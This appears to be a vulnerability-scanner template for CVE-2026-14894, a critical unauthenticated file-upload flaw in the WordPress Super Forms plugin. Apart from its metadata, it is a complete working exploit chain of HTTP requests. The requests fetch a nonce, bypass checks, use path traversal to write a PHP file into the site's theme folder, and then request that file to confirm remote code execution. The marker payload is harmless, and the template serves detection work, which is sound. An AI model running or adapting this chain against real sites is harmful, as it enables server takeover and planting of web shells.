id: CVE-2026-14894 info: name: WordPress Super Forms <= 6.3.313 - Arbitrary File Upload author: pdteam,0x_Akoko severity: critical description: | Super Forms – Drag & Drop Form Builder WordPress plugin \u003C= 6.3.313 contains an arbitrary file upload vulnerability caused by missing file type validation and lack of capability checks in submit_form nopriv AJAX handler, letting unauthenticated attackers upload executable files and achieve remote code execution, exploit requires no authentication due to nonce bypass. impact: | Unauthenticated attackers can upload executable files and execute arbitrary code remotely, potentially compromising the entire server. remediation: | Update to the latest version of Super Forms – Drag & Drop Form Builder plugin. reference: - https://www.wordfence.com/threat-intel/vulnerabilities/id/e9c7fb16-efbb-41e9-be13-98e96c1e9100 - https://patchstack.com/database/wordpress/plugin/super-forms/vulnerability/wordpress-super-forms-drag-drop-form-builder-plugin-6-3-313-unauthenticated-arbitrary-file-upload-vulnerability - https://github.com/shinthink/CVE-2026-14894 - https://nvd.nist.gov/vuln/detail/CVE-2026-14894 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-14894 epss-score: 0.05265 epss-percentile: 0.92061 cwe-id: CWE-434 metadata: verified: true max-request: 4 vendor: developer-developer product: super-forms framework: wordpress fofa-query: body="wp-content/plugins/super-forms" shodan-query: http.html:"wp-content/plugins/super-forms" tags: cve,cve2026,wordpress,wp-plugin,wp,file-upload,rce,intrusive,vkev variables: rand: "{{to_lower(rand_text_alpha(8))}}" flow: http(1) && http(2) && http(3) && http(4) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 2 matchers: - type: word words: - "/wp-content/themes" internal: true extractors: - type: regex name: wptheme group: 1 regex: - 'wp-content/themes/([a-zA-Z0-9_-]+)/' internal: true - raw: - | POST /wp-admin/admin-ajax.php?action=super_create_nonce HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=super_create_nonce extractors: - type: regex part: body name: sfnonce regex: - '([a-f0-9]{10,})' internal: true - raw: - | POST /wp-admin/admin-ajax.php?action=super_submit_form HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded sf_nonce={{sfnonce}}&form_id=1&data=%7B%22sf_upload_field%22%3A%7B%22type%22%3A%22files%22%2C%22files%22%3A%5B%7B%22value%22%3A%22../../../../../themes/{{wptheme}}/{{rand}}.php%22%2C%22datauristring%22%3A%22data%3Aimage/png%3Bbase64%2CPD9waHAgZWNobyAnQ1ZFLTIwMjYtMTQ4OTQtc2ZyY2UnOyBkaWUoKTsgPz4%3D%22%2C%22name%22%3A%22{{rand}}.php%22%2C%22label%22%3A%22attachment%22%7D%5D%7D%7D matchers: - type: dsl dsl: - 'status_code == 200 || status_code == 302' internal: true - raw: - | GET /wp-content/themes/{{wptheme}}/{{rand}}.php HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "CVE-2026-14894-sfrce")' condition: and # digest: 4a0a0047304502210093c81ea15a40f4b8e8646380d22376d5ce0ec27730ff8d6d4f86755c75f0ef2d0220445ab54583fbc9c86f8fde0da792f12bca16cd6b13fda185c6e47e1aed686d7e:922c64590222798bb761d5b6d8e72950